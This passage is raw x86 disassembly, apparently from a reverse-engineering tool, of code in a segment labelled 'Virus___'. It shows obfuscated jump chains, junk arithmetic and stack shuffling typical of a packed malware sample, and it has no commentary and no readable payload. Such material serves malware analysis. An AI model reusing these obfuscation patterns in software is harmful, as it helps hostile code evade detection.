370D7FE8h neg esi jmp loc_587ED0 ; --------------------------------------------------------------------------- loc_588F2F: ; CODE XREF: Virus___:0058167Bj pop eax pop ebp shr eax, 1 jmp loc_5827B7 ; --------------------------------------------------------------------------- loc_588F38: ; CODE XREF: Virus___:0058DF8Dj add ebp, edi pop edi push eax push ebx jmp loc_58119E ; --------------------------------------------------------------------------- loc_588F42: ; CODE XREF: Virus___:00593AE2j pop esp jmp loc_57F37C ; --------------------------------------------------------------------------- loc_588F48: ; CODE XREF: Virus___:0058A710j sub eax, 26A25A70h jmp loc_58E2FD ; --------------------------------------------------------------------------- loc_588F52: ; CODE XREF: Virus___:0058ED12j shr eax, 1 push ebp mov ebp, 468362CAh sub eax, 4EBE1DDCh add eax, ebp add eax, 4EBE1DDCh pop ebp or edx, eax pop eax jmp loc_583B20 ; --------------------------------------------------------------------------- loc_588F6F: ; CODE XREF: Virus___:0058CD28j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp add esp, 4 jmp loc_58A642 ; --------------------------------------------------------------------------- loc_588F81: ; CODE XREF: Virus___:0058EC34j sub dword ptr [esp+8], 4A0D6F45h sub [esp+8], eax add dword ptr [esp+8], 4A0D6F45h sub dword ptr [esp+8], 3FC22DAh sub dword ptr [esp+8], 0BEA28FDh jmp loc_58DDCF ; --------------------------------------------------------------------------- loc_588FAA: ; CODE XREF: Virus___:00580294j xor edx, ecx xor ecx, edx not edx push ecx jmp loc_59124C ; --------------------------------------------------------------------------- loc_588FB6: ; CODE XREF: Virus___:0058D44Fj add eax, 2D8C3EBFh add eax, ebp sub eax, 2D8C3EBFh mov ebp, [esp] add esp, 4 xchg eax, [esp] jmp loc_593614 ; --------------------------------------------------------------------------- loc_588FD0: ; CODE XREF: Virus___:00594509j sub esp, 4 mov [esp], ebx push esi push ecx mov ecx, 37C61CA0h jmp loc_58F284 ; --------------------------------------------------------------------------- loc_588FE2: ; CODE XREF: Virus___:0058DE5Ej mov ecx, esp sub esp, 4 mov [esp], ebp mov ebp, 12232C2Dh push edi mov edi, 0CCC352Eh and ebp, edi mov edi, [esp] add esp, 4 xor ebp, 103B563Eh push esi mov esi, 78DE7AB8h xor esi, 0A905505h jmp loc_581327 ; --------------------------------------------------------------------------- loc_58901A: ; CODE XREF: Virus___:0058E220j add ch, ah jmp loc_588927 ; --------------------------------------------------------------------------- loc_589021: ; CODE XREF: Virus___:0058444Aj sub ebx, ebp add ebx, 788026E0h jmp loc_5907E4 ; --------------------------------------------------------------------------- loc_58902E: ; CODE XREF: Virus___:00581295j xchg ebx, [esp] pop esp push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop edx add esp, 4 sub esp, 4 mov [esp], eax mov eax, 4 jmp loc_58AB16 ; --------------------------------------------------------------------------- loc_589057: ; CODE XREF: Virus___:00591DFDj add esp, 4 push ebp push 134Ch mov [esp], esp add dword ptr [esp], 4 pop ebp jmp loc_582747 ; --------------------------------------------------------------------------- loc_589070: ; CODE XREF: Virus___:005873B7j push edi mov edi, esp push 6B3Eh mov [esp], eax push ebx jmp loc_59379D ; --------------------------------------------------------------------------- loc_589081: ; CODE XREF: Virus___:00583BB8j add ebp, 4 xchg ebp, [esp] jmp loc_586E82 ; --------------------------------------------------------------------------- loc_58908C: ; CODE XREF: Virus___:00580645j add esp, 4 shr edi, 2 shr edi, 2 shr edi, 4 push edx jmp loc_58F899 ; --------------------------------------------------------------------------- loc_58909E: ; CODE XREF: Virus___:00584CFBj pop edi push dword ptr [esp] mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], esi mov esi, esp push edx mov edx, 418D517Ch jmp loc_592BFB ; --------------------------------------------------------------------------- loc_5890BB: ; CODE XREF: Virus___:005861C3j push ecx mov ecx, 6E513707h jmp loc_58226E ; --------------------------------------------------------------------------- loc_5890C6: ; CODE XREF: Virus___:0058647Dj pop esp sub ebp, 766A70B5h add ebp, esi add ebp, 766A70B5h pop esi push edx mov edx, 4 jmp loc_5897B0 ; --------------------------------------------------------------------------- loc_5890E1: ; CODE XREF: Virus___:00585397j add edi, 4 push eax mov eax, 4 sub edi, eax jmp loc_59162A ; --------------------------------------------------------------------------- loc_5890F4: ; CODE XREF: Virus___:005894CCj push eax push edx push 7D7h mov [esp], esi push ebp mov ebp, 5A553162h jmp loc_591303 ; --------------------------------------------------------------------------- loc_589109: ; CODE XREF: Virus___:00591F63j sub eax, 7137CEFh add eax, 69987224h add eax, 69840B1Ah mov ebx, [esp] add esp, 4 push 80Eh mov [esp], ecx push ebx jmp loc_58B472 ; --------------------------------------------------------------------------- loc_58912C: ; CODE XREF: Virus___:00593C2Fj mov [esp], ebx jmp loc_57FAA9 ; --------------------------------------------------------------------------- loc_589134: ; CODE XREF: Virus___:00593447j add ecx, 0FA052015h add ebp, ecx jmp loc_58B57F ; --------------------------------------------------------------------------- loc_589141: ; CODE XREF: Virus___:0057FB15j sub ebx, ebp pop ebp add ebx, eax add ebx, 2BBF0573h mov eax, [esp] push ecx jmp loc_586059 ; --------------------------------------------------------------------------- loc_589155: ; CODE XREF: Virus___:0058C9FDj push ebp jmp loc_58D464 ; --------------------------------------------------------------------------- loc_58915B: ; CODE XREF: Virus___:0058B045j xchg eax, [esp] jmp loc_5876BF ; --------------------------------------------------------------------------- loc_589163: ; CODE XREF: Virus___:00581C31j mov [esp], edx jmp loc_58F726 ; --------------------------------------------------------------------------- loc_58916B: ; CODE XREF: Virus___:0058AAADj mov [esp], edx jmp loc_57F464 ; --------------------------------------------------------------------------- loc_589173: ; CODE XREF: Virus___:00593BF5j add esp, 4 push 66E9h mov [esp], edi push 2E06h mov [esp], esp add dword ptr [esp], 4 pop edi jmp loc_58802C ; --------------------------------------------------------------------------- loc_589190: ; CODE XREF: Virus___:0059196Dj dec edx shr edx, 3 add edx, 0E19D28F1h add esi, edx pop edx push 5998h mov [esp], edi mov edi, 5D7017F7h add esi, edi jmp loc_58E8E7 ; --------------------------------------------------------------------------- loc_5891B1: ; CODE XREF: Virus___:0058615Aj add esi, 4 push edx mov edx, 4 sub esi, edx pop edx xchg esi, [esp] jmp loc_584D34 ; --------------------------------------------------------------------------- loc_5891C8: ; CODE XREF: Virus___:0058F3DAj add esp, 4 push eax jmp loc_582D67 ; --------------------------------------------------------------------------- loc_5891D4: ; CODE XREF: Virus___:00585CDCj push 338A3A7Bh pop ecx neg ecx dec ecx dec ecx xor ecx, 0CC75C587h mov edx, ecx pop ecx add [esp+4], edx jmp loc_593F98 ; --------------------------------------------------------------------------- loc_5891F0: ; CODE XREF: Virus___:005828DFj mov edx, eax jmp loc_593766 ; --------------------------------------------------------------------------- loc_5891F7: ; CODE XREF: Virus___:005902C4j and ebx, ebp pop ebp jmp loc_5870C5 ; --------------------------------------------------------------------------- loc_5891FF: ; CODE XREF: Virus___:00580A27j add ebp, 4 jmp loc_581F4C ; --------------------------------------------------------------------------- loc_58920A: ; CODE XREF: Virus___:005838DFj shl cl, 1 sub cl, 3 and cl, 1Bh add cl, 4Bh add al, cl pop ecx push ecx push eax mov al, 65h mov ch, 0EAh push eax jmp loc_58C14C ; --------------------------------------------------------------------------- loc_589224: ; CODE XREF: Virus___:0058DBFAj add ebx, ebp jmp loc_58CA0D ; --------------------------------------------------------------------------- loc_58922B: ; CODE XREF: Virus___:00585213j mov edi, eax pop eax sub edi, 0CF564AB7h jmp loc_584DFE ; --------------------------------------------------------------------------- loc_589239: ; CODE XREF: Virus___:0058BA10j add ecx, 85FA9B98h sub ebx, ecx pop ecx jmp loc_591A30 ; --------------------------------------------------------------------------- loc_589247: ; CODE XREF: Virus___:00591189j pop dword ptr [esp] pop esp mov [esp], ebx push esp push dword ptr [esp] pop ebx jmp loc_58227C ; --------------------------------------------------------------------------- mov ax, [esp] push edx jmp loc_58295D ; --------------------------------------------------------------------------- loc_589262: ; CODE XREF: Virus___:00587FCAj xor ecx, esi xor esi, ecx xor ecx, esi pop esi push 0 sub [esp], ecx pop ecx sub ecx, 0FCA257Ah jmp loc_5882B7 ; --------------------------------------------------------------------------- loc_58927D: ; CODE XREF: Virus___:0058B85Bj pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_58F932 ; --------------------------------------------------------------------------- loc_589289: ; CODE XREF: Virus___:0058A4D8j xchg ecx, edi jmp loc_5861EF ; --------------------------------------------------------------------------- loc_589290: ; CODE XREF: Virus___:005880E7j shr esi, 1 xor esi, 975C35F7h jmp loc_57F8C5 ; --------------------------------------------------------------------------- loc_58929D: ; CODE XREF: Virus___:00591DDBj sub ebp, 5E662702h jmp loc_58F814 ; --------------------------------------------------------------------------- loc_5892A8: ; CODE XREF: Virus___:0059422Aj push 623Eh mov [esp], eax jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5892B5: ; CODE XREF: Virus___:0059338Aj pop ebx sub esp, 4 mov [esp], eax push esi push 2EC6195Ch jmp loc_587015 ; --------------------------------------------------------------------------- loc_5892C7: ; CODE XREF: Virus___:0057F478j mov [esp], edx mov edx, 4 add ecx, edx jmp loc_58D89A ; --------------------------------------------------------------------------- loc_5892D6: ; CODE XREF: Virus___:00585455j mov edi, 891583B8h add edi, esi pop esi add ebp, edi pop edi push 4245h mov [esp], edx mov edx, 4 add ebp, edx jmp loc_58A09D ; --------------------------------------------------------------------------- loc_5892F5: ; CODE XREF: Virus___:0058E38Aj and eax, 30090BA4h inc eax add eax, 0CFFFF5DFh add ebp, eax jmp loc_58CDE8 ; --------------------------------------------------------------------------- loc_589307: ; CODE XREF: Virus___:0058B731j xor [esp], dx not dx xor [esp], dx xor dx, [esp] jmp loc_58E53E ; --------------------------------------------------------------------------- loc_58931B: ; CODE XREF: Virus___:00593DC6j push eax mov eax, 5B74551Eh push esi jmp loc_5812F9 ; --------------------------------------------------------------------------- loc_589327: ; CODE XREF: Virus___:005807DEj add ebx, 76B98D60h xor esi, ebx pop ebx pop ebx add ecx, esi pop esi push ebp jmp loc_58346D ; --------------------------------------------------------------------------- loc_58933A: ; CODE XREF: Virus___:005829A9j mov [esp], ebx jmp loc_58D4C1 ; --------------------------------------------------------------------------- loc_589342: ; CODE XREF: Virus___:0058DEC8j pop ebp mov eax, [esp] push ebx push edx mov edx, esp add edx, 4 sub esp, 4 mov [esp], edi mov edi, 4 sub edx, edi jmp loc_593E22 ; --------------------------------------------------------------------------- loc_589365: ; CODE XREF: Virus___:00583B0Aj or esi, 5CE60339h shl esi, 7 shl esi, 5 xor esi, 0ABBE25FCh add ebp, esi mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov esi, ebp pop ebp add edx, 23C904C4h jmp loc_590DB4 ; --------------------------------------------------------------------------- loc_589399: ; CODE XREF: Virus___:005837D8j add edx, ebx push 361Eh mov [esp], eax jmp loc_584C56 ; --------------------------------------------------------------------------- loc_5893A8: ; CODE XREF: Virus___:0058C3A7j neg esi xor esi, 96EF65ACh add ebp, esi jmp loc_5812EB ; --------------------------------------------------------------------------- loc_5893B7: ; CODE XREF: Virus___:00584204j xor edi, ebp jmp loc_584AC2 ; --------------------------------------------------------------------------- loc_5893BE: ; CODE XREF: Virus___:0058B22Fj add al, 0E8h sub al, 0AEh sub esp, 2 mov [esp], dx mov dh, 1Bh jmp loc_59173A ; --------------------------------------------------------------------------- loc_5893D3: ; CODE XREF: Virus___:0058142Ej add esp, 4 add eax, ecx jmp loc_58AA56 ; --------------------------------------------------------------------------- loc_5893DD: ; CODE XREF: Virus___:00586400j dec ecx and ecx, 49561F10h sub ecx, 48021B0Ch jmp loc_58EFF0 ; --------------------------------------------------------------------------- loc_5893EF: ; CODE XREF: Virus___:00584225j sub esp, 4 mov [esp], ebp mov ebp, 22BB53ACh mov ecx, 0DA51F17h add ecx, ebp pop ebp xor esi, ecx push dword ptr [esp] jmp loc_58C0F7 ; --------------------------------------------------------------------------- loc_58940F: ; CODE XREF: Virus___:00593C43j push 27D93ABCh pop ebp inc ebp jmp loc_58649B ; --------------------------------------------------------------------------- loc_58941B: ; CODE XREF: Virus___:005897ABj push esi jmp loc_586B12 ; --------------------------------------------------------------------------- push small 2648h mov [esp], bx push edx jmp loc_58563D ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ecx push esp push dword ptr [esp] pop ecx push edi push esp pop edi add edi, 4 push esi mov esi, 4 jmp loc_5843DE ; --------------------------------------------------------------------------- loc_58944E: ; CODE XREF: Virus___:00580CEDj sub ecx, 714E5A7Fh add ecx, ebp add ecx, 714E5A7Fh mov ebp, [esp] add esp, 4 jmp loc_581A4B ; --------------------------------------------------------------------------- loc_58946A: ; CODE XREF: Virus___:005863E8j sub edx, edi mov edi, [esp] add esp, 4 add edx, 294374E5h add edx, edi push ebp mov ebp, 294374E5h sub edx, ebp pop ebp push ebp push esi mov esi, 362A4208h jmp loc_582BC8 ; --------------------------------------------------------------------------- mov cx, [esp] push eax push esp jmp loc_5844DE ; --------------------------------------------------------------------------- loc_58949D: ; CODE XREF: Virus___:00590737j add al, 93h sub bl, 5Fh add bl, al push ecx mov ch, 5Fh jmp loc_580032 ; --------------------------------------------------------------------------- loc_5894AC: ; CODE XREF: Virus___:0057F7B8j pop ebx pop dword ptr [esp] mov esp, [esp] dec byte ptr [esp] pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5894BC: ; CODE XREF: Virus___:00582200j push edi mov edi, 6490E20h sub [esp+4], edi mov edi, [esp] add esp, 4 jmp loc_5890F4 ; --------------------------------------------------------------------------- loc_5894D1: ; CODE XREF: Virus___:00593742j mov ebp, esp jmp loc_588AC9 ; --------------------------------------------------------------------------- loc_5894D8: ; CODE XREF: Virus___:00588349j sub eax, ebp pop ebp jmp loc_5851D5 ; --------------------------------------------------------------------------- loc_5894E0: ; CODE XREF: Virus___:00589FB2j xor eax, 15DE7D24h shr eax, 4 xor eax, 7B16BDD3h jmp loc_589FDA ; --------------------------------------------------------------------------- loc_5894F2: ; CODE XREF: Virus___:005853BDj pop edi jmp loc_58FC4B ; --------------------------------------------------------------------------- loc_5894F8: ; CODE XREF: Virus___:005935C2j mov edx, [esp] add esp, 4 add edx, eax pop eax jmp loc_589D6E ; --------------------------------------------------------------------------- loc_589506: ; CODE XREF: Virus___:005804F6j mov [esp], esp add dword ptr [esp], 4 jmp loc_593FB0 ; --------------------------------------------------------------------------- loc_589515: ; CODE XREF: Virus___:00592FCCj push ebx mov bh, ah jmp loc_57FEC0 ; --------------------------------------------------------------------------- loc_58951D: ; CODE XREF: Virus___:00587899j xor [esp], edx not edx jmp loc_58E5DE ; --------------------------------------------------------------------------- loc_589527: ; CODE XREF: Virus___:0058D65Bj push esi jmp loc_590F20 ; --------------------------------------------------------------------------- loc_58952D: ; CODE XREF: Virus___:00591123j mov ecx, [esp] add esp, 4 sub ecx, 156B70E5h push dword ptr [esp] pop ebx add esp, 4 push 129Ch mov [esp], edi mov edi, 9435B70h push 0 jmp loc_5910FE ; --------------------------------------------------------------------------- loc_58955D: ; CODE XREF: Virus___:005939F7j add eax, 17679FAh push edi mov edi, 735423F8h push edi xchg ebp, [esp] not ebp xchg ebp, [esp] pop edi add edi, 0F2898C40h add eax, 19236E56h add eax, edi jmp loc_58469A ; --------------------------------------------------------------------------- loc_589584: ; CODE XREF: Virus___:0058D5EAj push eax jmp loc_582A7D ; --------------------------------------------------------------------------- loc_58958A: ; CODE XREF: Virus___:0058A6DCj add al, 46h sub al, 64h jmp loc_58B1BF ; --------------------------------------------------------------------------- loc_589593: ; CODE XREF: Virus___:00593683j mov [esp], ebp push dword ptr [esp+4] jmp loc_593581 ; --------------------------------------------------------------------------- loc_58959F: ; CODE XREF: Virus___:00582C8Fj or dh, al jmp loc_591611 ; --------------------------------------------------------------------------- loc_5895A6: ; CODE XREF: Virus___:0058C73Bj add edi, eax pop eax push 3E02h mov [esp], esi push 7A0Dh jmp loc_582897 ; --------------------------------------------------------------------------- loc_5895BB: ; CODE XREF: Virus___:005845D1j xchg eax, [esp] pop esp xor ebp, esi push dword ptr [esp] pop esi add esp, 4 add ebx, 38BD5F00h push eax mov eax, 4ECC3B0Ch sub eax, 10DF7166h or eax, 6E501FC1h add eax, 0B0F5585Ah sub ebx, eax pop eax add ebx, ebp add ebx, 30F23841h sub ebx, 38BD5F00h pop ebp push eax mov eax, 2 jmp loc_59058B ; --------------------------------------------------------------------------- loc_589603: ; CODE XREF: Virus___:00580954j sub edi, ecx mov ecx, [esp] add esp, 4 sub edi, 0F3D3F6B9h add edx, edi pop edi push ebx mov ebx, 2 push ebx mov ebx, 788E6B8Ah jmp loc_5924A1 ; --------------------------------------------------------------------------- loc_589625: ; CODE XREF: Virus___:0058149Fj xor eax, edx pop edx jmp loc_57FB9D ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_582228 ; --------------------------------------------------------------------------- loc_589636: ; CODE XREF: Virus___:005829CAj sub esp, 4 mov [esp], ebx jmp loc_58D87B ; --------------------------------------------------------------------------- loc_589644: ; CODE XREF: Virus___:00582BEFj mov cl, bh pop ebx add bl, 60h add bl, cl sub bl, 60h jmp loc_587BD0 ; --------------------------------------------------------------------------- loc_589654: ; CODE XREF: Virus___:00580D48j xor edi, 1E6324CAh jmp loc_587673 ; --------------------------------------------------------------------------- loc_58965F: ; CODE XREF: Virus___:0058EFACj mov eax, 232A2DD7h xor eax, ebx pop ebx shr eax, 1 and eax, 1456719Ah dec eax shr eax, 6 jmp loc_5828CE ; --------------------------------------------------------------------------- loc_589677: ; CODE XREF: Virus___:0058B409j add edi, ebp pop ebp xchg edi, [esp] mov esp, [esp] push 6720h mov [esp], edi mov edi, 5EF8765Ch xchg edx, edi xchg ebx, edx inc ebx jmp loc_5900B1 ; --------------------------------------------------------------------------- loc_589697: ; CODE XREF: Virus___:005897D5j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_592FD1 ; --------------------------------------------------------------------------- loc_5896AC: ; CODE XREF: Virus___:0058459Ej mov edi, ebp mov ebp, [esp] jmp loc_588658 ; --------------------------------------------------------------------------- loc_5896B6: ; CODE XREF: Virus___:00585A1Fj add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_5801B4 ; --------------------------------------------------------------------------- loc_5896C7: ; CODE XREF: Virus___:0058BBD9j push dword ptr [esp] mov eax, [esp] add esp, 4 push ebp push esp pop ebp push edx mov edx, 4 add ebp, edx pop edx push 0AE8h mov [esp], ebx mov ebx, 4 sub ebp, 29193D03h add ebp, 2D9978B2h jmp loc_591BE0 ; --------------------------------------------------------------------------- loc_5896FA: ; CODE XREF: Virus___:00582DCDj mov [esp], ecx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_585DE4 ; --------------------------------------------------------------------------- loc_589711: ; CODE XREF: Virus___:00586E55j push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp push eax mov eax, 4 sub ebp, 37C264CEh add ebp, eax push ecx jmp loc_58AAF0 ; --------------------------------------------------------------------------- loc_58972E: ; CODE XREF: Virus___:00588311j add esp, 4 push edx mov edx, esp push ebp mov ebp, 6D78661Bh jmp loc_58B3EE ; --------------------------------------------------------------------------- loc_589742: ; CODE XREF: Virus___:0058FDD6j pop ebx push ecx mov ecx, 2A457A9Bh inc ecx shl ecx, 7 xor ecx, 52DF7287h add ecx, 432A4181h add ecx, 8BA1F7FEh add edi, ecx jmp loc_58E679 ; --------------------------------------------------------------------------- loc_589766: ; CODE XREF: Virus___:005940C5j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_58ABF2 ; --------------------------------------------------------------------------- loc_589784: ; CODE XREF: Virus___:0058815Ej mov edi, 4D331239h add edx, edi pop edi add eax, edx pop edx add ebp, eax pop eax push eax jmp loc_58C3AC ; --------------------------------------------------------------------------- loc_589798: ; CODE XREF: Virus___:0058C1C8j mov ebx, 7CC0FB0h add ebx, 0E0FEC486h sub ecx, 3CFB16A6h add ecx, ebx jmp loc_58941B ; --------------------------------------------------------------------------- loc_5897B0: ; CODE XREF: Virus___:005890DCj add ebp, edx jmp loc_5875A6 ; --------------------------------------------------------------------------- loc_5897B7: ; CODE XREF: Virus___:0058D3D7j mov eax, 45AF5B4Ch xor [esp+4], eax mov eax, [esp] add esp, 4 jmp loc_58C318 ; --------------------------------------------------------------------------- loc_5897CE: ; CODE XREF: Virus___:00586CEDj push dword ptr [esp] push dword ptr [esp] pop ebx jmp loc_589697 ; --------------------------------------------------------------------------- loc_5897DA: ; CODE XREF: Virus___:005916C0j add edx, eax sub edx, 1A5D0144h jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5897E7: ; CODE XREF: Virus___:00582FECj mov eax, [esp] add esp, 4 push 6D28h mov [esp], ecx push 5FF1h push 38F9h mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_58C931 ; --------------------------------------------------------------------------- loc_589811: ; CODE XREF: Virus___:0057FB1Cj mov dl, 1 add dl, 9Bh add dl, 62h mov al, dl pop edx sub al, 0FFh not al sub al, 0AAh jmp loc_58F127 ; --------------------------------------------------------------------------- loc_589827: ; CODE XREF: Virus___:0059357Cj push 272Ch mov [esp], edx push esp push dword ptr [esp] pop edx jmp loc_581578 ; --------------------------------------------------------------------------- loc_589839: ; CODE XREF: Virus___:0058C7B6j pop esi or edx, 5137454Eh jmp loc_5922BA ; --------------------------------------------------------------------------- loc_589845: ; CODE XREF: Virus___:005826DCj sub ebp, 116F5490h not ebp xor ebp, 5E1CF6BEh xor ebx, ebp mov ebp, [esp] add esp, 4 add edx, ebx push dword ptr [esp] jmp loc_583141 ; --------------------------------------------------------------------------- loc_589865: ; CODE XREF: Virus___:005848C4j push edx mov dl, bl jmp loc_580B35 ; --------------------------------------------------------------------------- loc_58986D: ; CODE XREF: Virus___:0057F3CAj sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_58B7A4 ; --------------------------------------------------------------------------- loc_589881: ; CODE XREF: Virus___:005879C6j push ebp mov ebp, 323C451Ah add ebp, 1 and ebp, 68FB393Bh dec ebp jmp loc_590D4C ; --------------------------------------------------------------------------- loc_589899: ; CODE XREF: Virus___:00587121j mov ebx, 4 jmp loc_585F59 ; --------------------------------------------------------------------------- loc_5898A3: ; CODE XREF: Virus___:0058ED1Cj pop dword ptr [esp] mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] mov ebp, [esp] jmp loc_583F50 ; --------------------------------------------------------------------------- loc_5898BB: ; CODE XREF: Virus___:0058A0D4j add dl, al pop eax or dl, 5Bh shl dl, 3 jmp loc_58F8EE ; --------------------------------------------------------------------------- loc_5898C9: ; CODE XREF: Virus___:0059271Bj xor edx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] push ebx push ebp mov ebp, eax mov ebx, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push ecx mov ecx, esp jmp loc_581580 ; --------------------------------------------------------------------------- loc_5898EA: ; CODE XREF: Virus___:0058FB29j mov eax, 2655046Ah or esi, eax pop eax jmp loc_591751 ; --------------------------------------------------------------------------- loc_5898F7: ; CODE XREF: Virus___:005934D4j xor ebp, ebx not ebx xchg ebx, ebp jmp loc_58D43B ; --------------------------------------------------------------------------- loc_589902: ; CODE XREF: Virus___:0057FB30j mov esp, [esp] and ecx, esi mov esi, [esp] push 53FBh mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp shr ecx, 2 jmp loc_58F11A ; --------------------------------------------------------------------------- loc_58992C: ; CODE XREF: Virus___:00583832j push 448Ah mov [esp], eax mov eax, 12B66515h inc eax push 1551h jmp loc_591128 ; --------------------------------------------------------------------------- loc_589944: ; CODE XREF: Virus___:0058892Dj add esp, 4 mov al, ch jmp loc_58E198 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop ecx push edi mov edi, esp sub esp, 4 mov [esp], esi push edx mov edx, 6DA44A30h shr edx, 3 shr edx, 1 jmp loc_58DDF8 ; --------------------------------------------------------------------------- loc_589971: ; CODE XREF: Virus___:0058B932j xchg edi, esi or esi, 6C7F2268h sub esi, 6D1E7AB6h shr esi, 7 add esi, 939DDA2Fh add esi, edx jmp loc_581B0A ; --------------------------------------------------------------------------- loc_58998F: ; CODE XREF: Virus___:005884A2j mov esi, 6990221Ch jmp loc_583DB5 ; --------------------------------------------------------------------------- loc_589999: ; CODE XREF: Virus___:0058A8AAj mov ebx, [esp] add esp, 4 add esp, 4 add ebx, ecx mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add ebx, eax push ecx jmp loc_592F65 ; --------------------------------------------------------------------------- loc_5899C5: ; CODE XREF: Virus___:005900FEj pop edx jmp loc_58C355 ; --------------------------------------------------------------------------- loc_5899CB: ; CODE XREF: Virus___:00587EFEj xor edx, [esp] pop esp mov [esp], ax jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5899D8: ; CODE XREF: Virus___:00588E93j push esi mov esi, 6BFA4C73h xor esi, 0D46DFF2Dh sub edi, 34BD3CDAh sub edi, esi sub esp, 4 mov [esp], esi jmp loc_587D06 ; --------------------------------------------------------------------------- loc_5899FA: ; CODE XREF: Virus___:00592C3Aj push ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_591F18 ; --------------------------------------------------------------------------- loc_589A1E: ; CODE XREF: Virus___:005869E7j pop eax add ebp, 455E0F54h xchg ecx, ebp neg ecx xchg ecx, ebp sub ebp, 0A703C19Bh add esi, ebp pop ebp add ebx, 77F83536h add ebx, esi push ebp mov ebp, 77F83536h sub ebx, ebp jmp loc_589EEC ; --------------------------------------------------------------------------- loc_589A49: ; CODE XREF: Virus___:0058ED5Fj sub ebp, 509957E9h pop ecx jmp loc_59030E ; --------------------------------------------------------------------------- loc_589A55: ; CODE XREF: Virus___:0058DBA6j push ax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_589A5D: ; CODE XREF: Virus___:00592BCAj add esp, 4 jmp loc_57F37C ; --------------------------------------------------------------------------- loc_589A68: ; CODE XREF: Virus___:00587128j pop edx jmp loc_58D553 ; --------------------------------------------------------------------------- loc_589A6E: ; CODE XREF: Virus___:0058E761j push cx mov cl, 18h sub al, 0AEh sub al, cl push 2B9Dh mov [esp], ebx mov bh, 36h sub bh, 70h and bh, 99h not bh dec bh or bh, 81h push eax mov ah, 98h xor ah, 0F9h shr ah, 8 neg ah add ah, 98h xor bh, ah pop eax neg bh sub bh, 0FFh shr bh, 1 not bh jmp loc_5883C6 ; --------------------------------------------------------------------------- loc_589AAC: ; CODE XREF: Virus___:00592636j push edi push 2A41575Fh jmp loc_5836C3 ; --------------------------------------------------------------------------- loc_589AB7: ; CODE XREF: Virus___:0057F984j push edx mov edx, esp jmp loc_5867BB ; --------------------------------------------------------------------------- loc_589ABF: ; CODE XREF: Virus___:0058FE7Bj shl dh, 8 shl dh, 4 sub dh, 1 xor dh, 10h push 77ECh mov [esp], ecx mov ch, 0A9h add ch, 0BCh xchg dh, ch neg dh xchg dh, ch sub ch, 20h add al, ch jmp loc_5831A3 ; --------------------------------------------------------------------------- loc_589AE8: ; CODE XREF: Virus___:0058A9E7j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_58F38E ; --------------------------------------------------------------------------- loc_589AFB: ; CODE XREF: Virus___:00590FD9j mov esi, 0AA81BF4h sub esi, 3D4210Ah jmp loc_583D67 ; --------------------------------------------------------------------------- loc_589B0B: ; CODE XREF: Virus___:00591B10j mov [esp], ecx jmp loc_58667E ; --------------------------------------------------------------------------- loc_589B13: ; CODE XREF: Virus___:0058B5E4j mov edx, 19964EC2h jmp loc_588678 ; --------------------------------------------------------------------------- loc_589B1D: ; CODE XREF: Virus___:005847BEj xor ecx, [esp] pop esp push 4B8Fh mov [esp], edi sub esp, 4 mov [esp], ebp mov ebp, 438406A8h shl ebp, 8 add ebp, 3C5843E6h not ebp jmp loc_583672 ; --------------------------------------------------------------------------- loc_589B47: ; CODE XREF: Virus___:0058ACB5j sub ebx, ebp pop ebp jmp loc_58DB93 ; --------------------------------------------------------------------------- loc_589B4F: ; CODE XREF: Virus___:0058790Cj add ebp, 2 push ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_583C24 ; --------------------------------------------------------------------------- loc_589B62: ; CODE XREF: Virus___:00586713j add eax, 2E23FF30h sub edx, eax pop eax jmp loc_5909BA ; --------------------------------------------------------------------------- loc_589B6F: ; CODE XREF: Virus___:00594218j push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_58A0B0 ; --------------------------------------------------------------------------- loc_589B83: ; CODE XREF: Virus___:00581899j mov [esp], ebp mov ebp, 68090130h shr ebp, 5 dec ebp jmp loc_588037 ; --------------------------------------------------------------------------- loc_589B94: ; CODE XREF: Virus___:0058D03Fj push esp jmp loc_58CF0C ; --------------------------------------------------------------------------- loc_589B9A: ; CODE XREF: Virus___:0058E3EEj push ecx mov ecx, 56BB001Ch sub edx, ecx mov ecx, [esp] add esp, 4 sub edx, 47DE3B43h dec edx add edx, 383C0B0Eh add ebp, edx pop edx xchg ebp, [esp] jmp loc_5826C3 ; --------------------------------------------------------------------------- loc_589BC3: ; CODE XREF: Virus___:0058F130j add esp, 4 push 3BAFh mov [esp], edx sub esp, 4 mov [esp], ebx mov bh, 65h push ax push edx jmp loc_58D04F ; --------------------------------------------------------------------------- loc_589BE1: ; CODE XREF: Virus___:005845BEj inc ecx dec ecx push eax mov eax, 40D6B66h jmp loc_582EEA ; --------------------------------------------------------------------------- loc_589BEE: ; CODE XREF: Virus___:00582CAAj add esp, 4 xor edi, 732D6A5Dh pop esi 